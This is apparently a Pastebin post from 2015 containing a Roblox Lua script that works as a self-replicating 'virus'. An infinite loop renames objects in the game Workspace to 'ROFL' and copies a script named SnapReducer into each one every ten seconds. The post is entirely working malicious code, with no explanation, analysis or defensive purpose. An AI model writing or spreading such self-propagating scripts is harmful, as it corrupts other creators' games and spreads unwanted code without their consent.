RibCripql

Untitled

Dec 17th, 2015
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. model = script.Parent -- Sets the model variable to the script's parent, this way we don't have to manually set model names.
  2.  
  3.  
  4.  
  5. function Infector()
  6. while true do -- Infinite loop
  7. found = game.Workspace:FindFirstChild("Humanoid")
  8. found2 = game.Workspace:FindFirstChild("Model")
  9. found3 = game.Workspace:FindFirstChild("Brick")
  10. if found ~= nil then
  11. found.Name="ROFL"
  12. infectedscr = model.SnapReducer:Clone()
  13. infectedscr.Parent = found
  14. else
  15. if found2 ~= nil then
  16. found2.Name = "ROFL"
  17. infectedscr2 = model.SnapReducer:Clone()
  18. infectedscr2.Parent = found2
  19. else
  20. if found3 ~= nil then
  21. found3.Name = "ROFL"
  22. infectedscr3 = model.SnapReducer:Clone()
  23. infectedscr3.Parent = found3
  24. else
  25. local children = game.Workspace:GetChildren()
  26. for c = 1, #children do
  27.  
  28. if children[c].Name ~= "ROFL"
  29. then
  30. children[c].Name = "ROFL"
  31. infectedscr421 = model.SnapReducer:Clone()
  32. infectedscr421.Parent = children[c]
  33. else
  34. end
  35.  
  36. end
  37. end
  38. end
  39.  
  40. end
  41. wait(10)
  42. end
  43. end
  44.  
  45. Infector()
Add Comment
Please, Sign In to add comment